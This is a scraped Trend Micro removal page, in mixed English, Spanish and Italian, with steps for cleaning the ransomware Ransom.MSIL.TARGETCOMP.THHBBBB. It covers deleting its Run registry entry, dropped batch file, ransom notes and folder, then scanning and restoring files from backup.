Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Reiniciar en modo seguro

[ learnMore ]

Step 4

Eliminar este valor del Registro

[ learnMore ]

Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.

In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- Lcudsgjlb = %Application Data%\Syfwfpwux\Lcudsgjlb.exe

Step 5

Buscar y eliminar este archivo

[ learnMore ]

Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.

%User Temp%\Logrpaqfriixribkill$.bat
{Drive Letter:}\RECOVERY FILES.txt
{Encrypted Directory:}\RECOVERY FILES.txt

Step 6

Buscar y eliminar estas carpetas

[ learnMore ]

Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todas las carpetas ocultas.

%Application Data%\Syfwfpwux

Step 7

Reinicie en modo normal y explore el equipo con su producto de Trend Micro para buscar los archivos identificados como Ransom.MSIL.TARGETCOMP.THHBBBB En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.

Step 8

Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.

Sondaggio

Ransom.MSIL.TARGETCOMP.THHBBBB

Panoramica e descrizione

Dettagli tecnici

Soluzioni

Risorse

Assistenza

Informazioni su Trend

Ransom.MSIL.TARGETCOMP.THHBBBB

Panoramica e descrizione

Dettagli tecnici

Soluzioni

Risorse

Assistenza

Informazioni su Trend

America

Medio Oriente e Africa

Europa

Asia e Pacifico